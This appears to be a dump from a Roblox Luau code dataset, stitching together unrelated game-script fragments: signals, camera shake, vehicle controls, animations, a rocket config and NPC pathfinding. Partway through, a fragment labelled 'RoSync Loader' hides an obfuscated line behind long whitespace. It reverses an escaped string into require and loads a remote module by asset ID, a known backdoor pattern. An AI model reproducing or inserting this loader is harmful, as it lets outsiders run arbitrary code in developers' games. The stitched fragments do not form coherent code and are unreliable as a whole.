Pinkstack/roblox-luau-corpus-text huggingface dataset:
-- METHODS


function Signal:Fire(...)
	self._bindableEvent:Fire(...)
end

function Signal:Connect(handler)
	if not (type(handler) == "function") then
		error(("connect(%s)"):format(typeof(handler)), 2)
	end
	
	local connection = self._bindableEvent.Event:Connect(function(...)
		handler(...)
	end)
	
	-- If ``true`` is passed for trackConnectionsChanged within the constructor this will track the amount of active connections
	if self.connectionsChanged then
		self.totalConnections += 1
		self.connectionsChanged:Fire(1)
		local heartbeatConection
		heartbeatConection = game:GetService("RunService").Heartbeat:Connect(function()
			if connection.Connected == false then
				heartbeatConection:Disconnect()
				if self.connectionsChanged then
					self.totalConnections -= 1
					self.connectionsChanged:Fire(-1)
				end
			end
		end)
	end

	return connection
end

function Signal:Wait()
	local args = self._bindableEvent.Event:Wait()
	return unpack(args)
end

function Signal:Destroy()
	if self._bindableEvent then
		self._bindableEvent:Destroy()
		self._bindableEvent = nil
	end
	if self.connectionsChanged then
		self.connectionsChanged:Fire(-self.totalConnections)
		self.connectionsChanged:Destroy()
		self.connectionsChanged = nil
		self.totalConnections = 0
	end
end
Signal.destroy = Signal.Destroy
Signal.Disconnect = Signal.Destroy
Signal.disconnect = Signal.Destroy



return Signal
--[=[
	Apply an inverse square intensity multiplier to the given vector based on the
	distance away from some source. This can be used to simulate shake intensity
	based on the distance the shake is occurring from some source.

	For instance, if the shake is caused by an explosion in the game, the shake
	can be calculated as such:

	```lua
	local function Explosion(positionOfExplosion: Vector3)

		local cam = workspace.CurrentCamera
		local renderPriority = Enum.RenderPriority.Last.Value

		local shake = Shake.new()
		-- Set shake properties here

		local function ExplosionShake(pos: Vector3, rot: Vector3)
			local distance = (cam.CFrame.Position - positionOfExplosion).Magnitude
			pos = Shake.InverseSquare(pos, distance)
			rot = Shake.InverseSquare(rot, distance)
			cam.CFrame *= CFrame.new(pos) * CFrame.Angles(rot.X, rot.Y, rot.Z)
		end

		shake:BindToRenderStep("ExplosionShake", renderPriority, ExplosionShake)

	end
	```
]=]


function Shake.InverseSquare(shake: Vector3, distance: number): Vector3
	if distance < 1 then
		distance = 1
	end
	local intensity = 1 / (distance * distance)
	return shake * intensity
end
--Made by Luckymaxer



Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

Players = game:GetService("Players")
ContentProvider = game:GetService("ContentProvider")

Animations = {}

ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")

ClientControl.OnClientInvoke = (function(Mode, Value)
	if Mode == "PlayAnimation" and Humanoid then
		for i, v in pairs(Animations) do
			if v.Animation == Value.Animation then
				v.AnimationTrack:Stop()
				table.remove(Animations, i)
			end
		end
		local AnimationTrack = Humanoid:LoadAnimation(Value.Animation)
		table.insert(Animations, {Animation = Value.Animation, AnimationTrack = AnimationTrack})
		AnimationTrack:Play(Value.FadeTime, Value.Weight, Value.Speed)
	elseif Mode == "StopAnimation" and Value then
		for i, v in pairs(Animations) do
			if v.Animation == Value.Animation then
				v.AnimationTrack:Stop()
				table.remove(Animations, i)
			end
		end
	elseif Mode == "Preload" and Value then
		ContentProvider:Preload(Value)
	elseif Mode == "PlaySound" and Value then
		Value:Play()
	elseif Mode == "StopSound" and Value then
		Value:Stop()
	elseif Mode == "MousePosition" then
		return PlayerMouse.Hit.p
	end
end)

function InvokeServer(Mode, Value)
	pcall(function()
		local ServerReturn = ServerControl:InvokeServer(Mode, Value)
		return ServerReturn
	end)
end

function CheckIfAlive()
	return (Player and Player.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0)
end

function Equipped(Mouse)
	Character = Tool.Parent
	Player = Players:GetPlayerFromCharacter(Character)
	Humanoid = Character:FindFirstChild("Humanoid")
	if not CheckIfAlive() then
		return
	end
	PlayerMouse = Player:GetMouse()
	Mouse.Button1Down:connect(function()
		InvokeServer("MouseClick", {Down = true})
	end)
	Mouse.Button1Up:connect(function()
		InvokeServer("MouseClick", {Down = false})
	end)
	Mouse.KeyDown:connect(function(Key)
		InvokeServer("KeyPress", {Key = Key, Down = true})
	end)
	Mouse.KeyUp:connect(function(Key)
		InvokeServer("KeyPress", {Key = Key, Down = false})
	end)
end

function Unequipped()
	for i, v in pairs(Animations) do
		if v and v.AnimationTrack then
			v.AnimationTrack:Stop()
		end
	end
	Animations = {}
end

Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
---


if 	script.Parent.Parent.Parent.IsOn.Value then
	script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,2,true)
end

script.Parent.Parent.Parent.IsOn.Changed:connect(function()
	if script.Parent.Parent.Parent.IsOn.Value then
		script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,2,true)
	end
end)
	
	
	function turn()
		if hinge.DesiredAngle == 0 then
			
			car.Misc.Wiper2.WiperEvent:FireServer(1)
		else
			
			car.Misc.Wiper2.WiperEvent:FireServer(0)
		end
	end
	
	script.Parent.MouseButton1Click:connect(function()
		turn()
	end)
	
	local uis = game:GetService("UserInputService")
	uis.InputBegan:connect(function(i,f)
		if not f then
			if i.KeyCode == Enum.KeyCode.N then
				turn()
			end
		end
	end)
--!strict



local RunService = game:GetService("RunService")

local model = script.Parent
local cloth = model:FindFirstChild("Plane")

local physicsParts = model:WaitForChild("Parts")
local A4P = physicsParts:FindFirstChild("A4")

local bones : {Bone} = {}

local function indexBones()
	for iterator, bone : Bone in cloth:GetDescendants() do
		if bone:IsA("Bone") then
			table.insert(bones, bone)
		end
		if iterator%50 == 0 then
			task.wait()
		end
	end
end
indexBones()
-- << FUNCTIONS >>


function module:SetupDonorCommands()
	main:GetModule("PageCommands"):SetupCommands(donorCommands, pages.donor, 0)
	module:UpdateDonorFrame()
end

function module:UpdateDonorFrame()
	if main.pdata.Donor then
		unlockDonor.Visible = false
	else
		unlockDonor.Visible = true
	end
	pages.donor.CanvasSize = UDim2.new(0, 0, 0, (finalLabel.AbsolutePosition.Y - firstLabel.AbsolutePosition.Y) + finalLabel.AbsoluteSize.Y*1)
end



return module
-- Testing AC FE support



local event = script.Parent
local car=script.Parent.Parent
local LichtNum = 0


event.OnServerEvent:connect(function(player,data)
	if data['ToggleLight'] then
		if car.Body.Light.on.Value==true then
			car.Body.Light.on.Value=false
		else
			car.Body.Light.on.Value=true
		end
	elseif data['EnableBrakes'] then
		car.Body.Brakes.on.Value=true
	elseif data['DisableBrakes'] then
		car.Body.Brakes.on.Value=false
	elseif data['ToggleLeftBlink'] then
		if car.Body.Left.on.Value==true then
			car.Body.Left.on.Value=false
		else
			car.Body.Left.on.Value=true
		end
	elseif data['ToggleRightBlink'] then
		if car.Body.Right.on.Value==true then
			car.Body.Right.on.Value=false
		else
			car.Body.Right.on.Value=true
		end
	elseif data['ReverseOn'] then
		car.Body.Reverse.on.Value=true
	elseif data['ReverseOff'] then
		car.Body.Reverse.on.Value=false
	elseif data['ToggleStandlicht'] then
		if LichtNum == 0 then
			LichtNum = 2
			car.Body.Headlight.on.Value = true
		elseif LichtNum == 1 then
			LichtNum = 2
			car.Body.Headlight.on.Value = true
		elseif LichtNum == 2 then
			LichtNum = 3
			car.Body.Highlight.on.Value = true
		elseif LichtNum == 3 then
			LichtNum = 1
			car.Body.Highlight.on.Value = false
			car.Body.Headlight.on.Value = false
		end
	elseif data["ToggleHazards"] then
		if car.Body.hazards.Value == false then
			car.Body.hazards.Value = true
			wait(.35)
			car.Body.Left.on.Value=false
			car.Body.Right.on.Value=false
			wait(.35)
			car.Body.Left.on.Value=true
			car.Body.Right.on.Value=true	
		elseif car.Body.hazards.Value == true then
			car.Body.hazards.Value = false
			car.Body.Left.on.Value=false
			car.Body.Right.on.Value=false
		end
	end
end)
-- detect if they lock first person mode during a live game


local playerchanged_con = nil
playerchanged_con = player.Changed:Connect(function(property)
	if property == "CameraMaxZoomDistance" or property == "CameraMode" then
		if player.CameraMaxZoomDistance <= 0.5 or player.CameraMode == Enum.CameraMode.LockFirstPerson then
			enableviewmodel()
		end
	end
end)
---- STATE MODIFICATION ----



function ActiveCastStatic:Pause()
	assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Pause", "ActiveCast.new(...)"))
	assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
	self.StateInfo.Paused = true
end

function ActiveCastStatic:Resume()
	assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Resume", "ActiveCast.new(...)"))
	assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
	self.StateInfo.Paused = false
end

function ActiveCastStatic:Terminate()
	assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Terminate", "ActiveCast.new(...)"))
	assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
	
	-- First: Set EndTime on the latest trajectory since it is now done simulating.
	local trajectories = self.StateInfo.Trajectories
	local lastTrajectory = trajectories[#trajectories]
	lastTrajectory.EndTime = self.StateInfo.TotalRuntime
	
	-- Disconnect the update connection.
	self.StateInfo.UpdateConnection:Disconnect()
	
	-- Now fire CastTerminating
	self.Caster.CastTerminating:FireSync(self)
	
	-- And now set the update connection object to nil.
	self.StateInfo.UpdateConnection = nil
	
	-- And nuke everything in the table + clear the metatable.
	self.Caster = nil
	self.StateInfo = nil
	self.RayInfo = nil
	self.UserData = nil
	setmetatable(self, nil)
end

return ActiveCastStatic
--[=[
	@prop Util Folder
	@within KnitServer
	@readonly
	References the Util folder. Should only be accessed when using Knit as
	a standalone module. If using Knit from Wally, modules should just be
	pulled in via Wally instead of relying on Knit's Util folder, as this
	folder only contains what is necessary for Knit to run in Wally mode.
]=]


KnitServer.Util = script.Parent.Parent

local SIGNAL_MARKER = newproxy(true)
getmetatable(SIGNAL_MARKER).__tostring = function()
	return "SIGNAL_MARKER"
end

local PROPERTY_MARKER = newproxy(true)
getmetatable(PROPERTY_MARKER).__tostring = function()
	return "PROPERTY_MARKER"
end

local knitRepServiceFolder = Instance.new("Folder")
knitRepServiceFolder.Name = "Services"

local Promise = require(KnitServer.Util.Promise)
local Comm = require(KnitServer.Util.Comm)
local ServerComm = Comm.ServerComm

local services: {[string]: Service} = {}
local started = false
local startedComplete = false
local onStartedComplete = Instance.new("BindableEvent")


local function DoesServiceExist(serviceName: string): boolean
	local service: Service? = services[serviceName]
	return service ~= nil
end
--		print("Keyframe : ".. frameName)


		local repeatAnim = stopToolAnimations()
		playToolAnimation(repeatAnim, 0.0, Humanoid)
	end
end


function playToolAnimation(animName, transitionTime, humanoid)
	if (animName ~= toolAnimName) then		 
		
		if (toolAnimTrack ~= nil) then
			toolAnimTrack:Stop()
			toolAnimTrack:Destroy()
			transitionTime = 0
		end

		local roll = math.random(1, animTable[animName].totalWeight) 
		local origRoll = roll
		local idx = 1
		while (roll > animTable[animName][idx].weight) do
			roll = roll - animTable[animName][idx].weight
			idx = idx + 1
		end
-----------------
--| Constants |--
-----------------



local BLAST_RADIUS = 25 -- Blast radius of the explosion
local BLAST_DAMAGE = 9999999999999999999999999999999999999999999999999999999999999999999999999999 -- Amount of damage done to humanoids
local BLAST_FORCE = 5000 -- Amount of force applied to parts
local UNANCHOR_PARTS = true -- If set to true, explosions will unanchor anchored parts
local IGNITE_PARTS = true -- If set to true, parts will be set on fire (fire does not do anything)
local SPECIAL_EFFECTS = true -- If set to true, parts hit by a rocket will have a special effect
local BREAK_JOINTS = true -- If set to true, explosions will break joints

local IGNORE_LIST = {rocket = 1, handle = 1, effect = 1, water = 1} -- Rocket will fly through things named these
-- Define the function to open or close the window with gene-alike effect


local function toggleWindow(icon)
	local windowName = icon.Name

	-- Find the corresponding frame in the AppManager using the window name
	local window = appManager:FindFirstChild(windowName)
	if window then
		if window.Visible == false then
			-- Close other windows
			for _, child in ipairs(appManager:GetChildren()) do
				if child:IsA("Frame") and child.Visible then
					child.Visible = false
				end
			end

			dockShelf.Visible = false
			wallShelf.Visible = false

			-- Set the initial position of the window to be relative to the button
			window.Position = UDim2.new(0.319, 0, 0.331, 0)

			-- Set the initial size of the window to be zero
			window.Size = UDim2.new(0, 100, 0, 100)

			-- Show the window and tween its position and size
			window.Visible = true

			-- Determine the tween speed based on the uiSpeedSetting
			local tweenSpeed = ClipSettings.settings.uiSpeedSetting and uiSpeedUser.Value or ClipSettings.uiSpeed

			-- Create a new tween with the appropriate tweenSpeed
			local tweenInfo = TweenInfo.new(tweenSpeed, Enum.EasingStyle.Quad, Enum.EasingDirection.Out)
			TweenService:Create(window, tweenInfo, {Position = UDim2.new(-0.007, 0, 0, 0), Size = UDim2.new(1.007, 0, 1, 0)}):Play()
		end
	end
end
--//Controller//--


while true do
	task.wait(Configuration.DelayTime.Value)
	
	local RandomSong = Songs[math.random(1, #Songs)]
	
	CurrentSong.SoundId = RandomSong.SoundId
	
	NameText.Text = "Currently playing: "..RandomSong.Name
	
	CurrentSong:Play()
	
	task.wait(RandomSong.TimeLength)
end
-- Don't mess with anything in the script. The constants and variables are all mixed together



local Type = 0		-- Manipulated by GUI	(0 = 12 hr, 1 = 24 hr)
local Sec = true	-- Manipulated by GUI

local year = 1970
local month = 1
local day = 1
local Date = "January 1, 1970"

local hour = 0
local min = 0
local sec = 0
local tag = "AM"
local Time = "12:00 AM"

function getDate()
	local months = {
--[[Drivetrain]]

	
	Tune.Config			= "RWD"		--"FWD" , "RWD" , "AWD"
	
	--Differential Settings	
	Tune.FDiffSlipThres	= 50		-- 1 - 100%				(Max threshold of applying full lock determined by deviation from avg speed)
	Tune.FDiffLockThres	= 50		-- 0 - 100%				(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
	Tune.RDiffSlipThres	= 30		-- 1 - 100%
	Tune.RDiffLockThres	= 60		-- 0 - 100%
	Tune.CDiffSlipThres	= 50		-- 1 - 100%				[AWD Only]
	Tune.CDiffLockThres	= 50		-- 0 - 100%				[AWD Only]
	
	--Traction Control Settings
	Tune.TCSEnabled		= true		-- Implements TCS
	Tune.TCSThreshold	= 18		-- Slip speed allowed before TCS starts working (in SPS)
	Tune.TCSGradient	= 18		-- Slip speed gradient between 0 to max reduction (in SPS)
	Tune.TCSLimit		= 9		-- Minimum amount of torque at max reduction (in percent)
--{0.976, 0},{, 0}



UIS.InputEnded:connect(function(key, gameProcessed)

	if key.KeyCode == Enum.KeyCode.LeftShift and gameProcessed == false then

		character.Humanoid.WalkSpeed = NormalWalkSpeed

		sprinting = false

		while power < 10 and not sprinting do

			power = power + .03

			Bar:TweenSize(UDim2.new(power / 10.25, 0, .78, 0), 'Out', 'Quint', .1, true)

			--Bar.BackgroundColor3 = Bar.BackgroundColor3:lerp(Color3.fromRGB(255, 166, 11), 0.001)

			wait()

			if power <= 0 then

				character.Humanoid.WalkSpeed = NormalWalkSpeed

			end

		end

	end

end)
--if tool then
--	local handle = tool:FindFirstChild("Handle")
--	local toolCopy = tool:Clone()
--	toolCopy.Parent = game.ServerStorage
--	local toolOnPad = true	
--	
--	local parentConnection
--	parentConnection = tool.AncestryChanged:connect(function()
--		if handle then handle.Anchored = false end
--		toolOnPad = false
--		parentConnection:disconnect()
--	end)
--	
--	if handle then
--		handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0)
--		handle.Anchored = true
--	end
--	
--	while true do
--		while toolOnPad do
--			if handle then
--				handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60)
--			end
--			wait()
--		end
--		wait(configs["SpawnCooldown"])
--		local newTool = toolCopy:Clone()
--		newTool.Parent = game.Workspace
--		handle = newTool:FindFirstChild("Handle")
--		toolOnPad = true
--	end
--end
--[[ Last synced 7/23/2022 04:59                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]]

 getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-- shut down the script when we die and reset things


humanoid.Died:Connect(function()
	stepped_con:Disconnect()
	leftshoulderclone:Destroy()
	rightshoulderclone:Destroy()
	viewmodel:Destroy()
	if rightshoulder then
		rightshoulder.Enabled = true
	end
	if leftshoulder then
		leftshoulder.Enabled = true
	end
	larm.Anchored = false
	rarm.Anchored = false
	armtransparency = 0
	visiblearms(false)
end)
--end


end
end

function Plaka()
for i,v in pairs(Car.Body.Plate:GetChildren()) do
v.SGUI.Identifier.Text = Stats.Plate.Value
end
end


function ToogleLock(status)
for i,v in pairs(Car:GetDescendants()) do
if v.ClassName == "VehicleSeat" or v.ClassName == "Seat" then
v.Disabled = status
end
end
end
-- Functions


players.PlayerAdded:Connect(function(player)
    player.CharacterAdded:Connect(function(character)
        
        local rootPart = character:WaitForChild("HumanoidRootPart")
        
        local footstepsSound = Instance.new("Sound")
        footstepsSound.Name = "Footsteps"
        footstepsSound.Volume = 0.15
        footstepsSound.RollOffMaxDistance = 30
        footstepsSound.RollOffMode = Enum.RollOffMode.Linear
        footstepsSound.PlayOnRemove = true
        
        footstepsSound.Parent = rootPart
        
    end)
end)
--


mouse.KeyDown:connect(function(key)
	if key=="r" then
		if GMode>=2 then
			GMode=0
		else
			GMode=GMode+1
		end
		if GMode==2 then
			Controller=true
		else
			Controller=false
		end
		if GMode==0 then
			script.Parent.Mode.Text = "Control Mode: Keyboard"
		elseif GMode==1 then
			script.Parent.Mode.Text = "Control Mode: Mouse"
		else
			script.Parent.Mode.Text = "Control Mode: Controller"
		end
	end
end)
game["Run Service"].RenderStepped:connect(function()
	for i,v in pairs(Binded) do
		v()
	end
end)

car.DriveSeat.Start2:Play()
car.DriveSeat.Start1:Stop()
for i,v in pairs(Sounds.Looped) do
	v:Play()
end
coroutine.resume(coroutine.create(function()
	for i,v in pairs(car.Body.Exhaust:GetChildren()) do
		v.Afterburn.Rate=10
	end
	wait(.3)
	for i,v in pairs(car.Body.Exhaust:GetChildren()) do
		v.Afterburn.Rate=0
	end
end))
while wait() do
	for i,v in pairs(LoopRun) do
		v()
	end
end
--print(Hit, Hit.Name)


			if Hit.Name == "Terrain" or Hit.CanCollide == false then -- In front is Water or a steep hill made of Terrain.
				Hit = nil  -- swim or climb, or Ray hit a Non-colliding Part; and don't check for floor. This will not do, as we do not get a Hit when under-water, so we will check for floor. We must check Swimming event.
			else -- Jump?
				Hit = DrawRay(originPrime + Vector3.new(0,4.8,0), pointPrime)
				if Hit == nil then  -- (Does NOT check CanCollide of Part blocking Jump)
					hum.Jump = true  --  we do NOT check for "Floor", if jumping, but it might be a good idea.
				end -- Room to jump?
			end --Terrain? Water?
		end -- Ladder?

	else	-- path is clear. Check for cliff... or OK to drop

	local Level = torsoPos.y 
		if target then
			Level = target.Position.y  -- get Target's current position.
		else  -- Target is dead. Abandon all logic...
			Logic = 0		 -- but still check for floor
		end

		if torsoPos.y - 2 < Level then  -- if Player is not well below us...
 
			Hit = DrawRay(torsoPos + point * .8 + Vector3.new(0,1,0), Vector3.new(0,-7,0)) -- check for floor 85% of dir ahead
			if Hit == nil then -- There is no floor
				Hit = true  -- Force a hit; we may not be able to get back up here.

			else
				Hit = nil  -- Force a false to hit, 'cause everything is OK. (Does NOT check CanCollide of Floor!)
			end -- cliff check
		end -- Player Hieght
	end  -- path ok?
return Hit
end -- FireRayToward


function FireAtPlayer()
	origin = CFrame.new(torsoPos, Vector3.new(targpos.x, torsoPos.y, targpos.z)) -- This contains Origin & Direction
local hit =	FireRayToward()
return hit
end

function FireRayAhead()
	origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdir, 0, Zdir))
local hit =	FireRayToward()
	targpos = torsoPos + Vector3.new(Xdir,0,Zdir)
return hit
end

function FireRay() -- Fire Ahead and diagonaly
	origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdag, 0, Zdag))
local hit = FireRayToward()
	if hit then
		origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdir, 0, Zdir))
		hit = FireRayToward()
		if not hit then
			targpos = torsoPos + Vector3.new(Xdir,0,Zdir)
		end
	else
			targpos = torsoPos + Vector3.new(Xdag,0,Zdag)
	end
return hit
end -- Fire Ray

function FireDag()
origin = CFrame.new(torsoPos, torsoPos + Vector3.new(Xdag, 0, Zdag))
local	hit = FireRayToward()
return hit
end -- Fire Diagonaly


function	TurnRight()

	if Xdir == 0 then
		Xdir = -Zdir
      Zdir = 0
	else
      Zdir = Xdir
      Xdir = 0
	end
	if Xdag == Zdag then Xdag = -Xdag else	Zdag = -Zdag end

end -- Left

function	TurnLeft()
	if Xdir == 0 then
		Xdir = Zdir
      Zdir = 0
	else
      Zdir = -Xdir
      Xdir = 0
	end

	if Xdag == Zdag then Zdag = -Zdag else	Xdag = -Xdag end
	
end -- Left


function GetDir()
				Xdir = (targpos.x - torsoPos.x) -- Which way are we going?
				Zdir = (targpos.z - torsoPos.z)